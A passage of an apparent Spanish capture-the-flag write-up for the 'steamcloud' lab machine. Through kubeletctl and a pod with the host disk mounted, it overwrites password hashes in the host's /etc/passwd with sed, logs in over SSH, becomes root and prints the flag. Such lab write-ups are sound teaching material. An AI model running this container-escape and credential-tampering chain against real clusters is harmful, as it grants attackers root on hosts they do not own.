backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Necesitamos modificar la contraseña de user
para ganar acceso por SSH (probé primero con root
pero no funcionó, a lo mejor tenía deshabilitado la autenticación SSH con contraseña).
Para este propósito, podemos utilizar sed
otra vez evitando el uso de comillas y caracteres especiales. La contraseña que vamos a poner es asdf
en formato DES Unix:
$ openssl passwd asdf
J8Ufwh9mVJ3VI
$ ./kubeletctl run 'sed -i s/user:x/user:J8Ufwh9mVJ3VI/g /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
user:J8Ufwh9mVJ3VI:1000:1000:user,,,:/home/user:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Se observa que la contraseña se ha configurado. Ahora podemos acceder por SSH:
$ ssh user@10.10.11.133
user@10.10.11.133's password:
user@steamcloud:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
No podemos ejecutar sudo
pero podemos cambiarle la contraseña a root
:
$ ./kubeletctl run 'sed -i s/root:x/root:J8Ufwh9mVJ3VI/g /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
root:J8Ufwh9mVJ3VI:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
user:J8Ufwh9mVJ3VI:1000:1000:user,,,:/home/user:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Y ahora simplemente añadimos asdf
como contraseña y ganamos acceso como root
:
user@steamcloud:~$ su root
Password:
root@steamcloud:/home/user# cat /root/root.txt
61f3bca8afe7785058a1be1972592526